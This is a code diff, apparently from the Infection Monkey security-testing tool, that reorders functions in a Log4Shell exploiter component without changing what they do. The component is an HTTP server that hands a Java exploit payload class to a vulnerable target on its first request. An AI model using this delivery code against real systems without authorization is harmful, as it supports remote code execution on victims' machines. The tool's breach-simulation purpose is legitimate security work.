Agent: Reorder exploit_class_http_server.py

monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py

@@ -8,49 +8,6 @@ logger = logging.getLogger(__name__)
 HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
 
 
-def do_GET(self):
-    with self.download_lock:
-        if self.class_downloaded.is_set():
-            self.send_error(
-                HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
-                "Java exploit class has already been downloaded",
-            )
-            return
-
-        self.class_downloaded.set()
-
-    logger.info("Java class server received a GET request!")
-    self.send_response(200)
-    self.send_header("Content-type", "application/octet-stream")
-    self.end_headers()
-    logger.info("Sending the payload class!")
-    self.wfile.write(self.java_class)
-
-
-def _get_new_http_handler_class(
-    java_class: bytes, class_downloaded: threading.Event
-) -> Type[http.server.BaseHTTPRequestHandler]:
-    """
-    Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the
-    caller.
-
-    Because Python's http.server.HTTPServer accepts a class and creates a new object to
-    handle each request it receives, any state that needs to be shared between requests must be
-    stored as class variables. Creating the request handler classes dynamically at runtime allows
-    multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
-    """
-    return type(
-        "HTTPHandler",
-        (http.server.BaseHTTPRequestHandler,),
-        {
-            "java_class": java_class,
-            "class_downloaded": class_downloaded,
-            "download_lock": threading.Lock(),
-            "do_GET": do_GET,
-        },
-    )
-
-
 class ExploitClassHTTPServer:
     """
     An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
@@ -126,3 +83,46 @@ class ExploitClassHTTPServer:
         :rtype: bool
         """
         return self._class_downloaded.is_set()
+
+
+def _get_new_http_handler_class(
+    java_class: bytes, class_downloaded: threading.Event
+) -> Type[http.server.BaseHTTPRequestHandler]:
+    """
+    Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the
+    caller.
+
+    Because Python's http.server.HTTPServer accepts a class and creates a new object to
+    handle each request it receives, any state that needs to be shared between requests must be
+    stored as class variables. Creating the request handler classes dynamically at runtime allows
+    multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
+    """
+    return type(
+        "HTTPHandler",
+        (http.server.BaseHTTPRequestHandler,),
+        {
+            "java_class": java_class,
+            "class_downloaded": class_downloaded,
+            "download_lock": threading.Lock(),
+            "do_GET": do_GET,
+        },
+    )
+
+
+def do_GET(self):
+    with self.download_lock:
+        if self.class_downloaded.is_set():
+            self.send_error(
+                HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
+                "Java exploit class has already been downloaded",
+            )
+            return
+
+        self.class_downloaded.set()
+
+    logger.info("Java class server received a GET request!")
+    self.send_response(200)
+    self.send_header("Content-type", "application/octet-stream")
+    self.end_headers()
+    logger.info("Sending the payload class!")
+    self.wfile.write(self.java_class)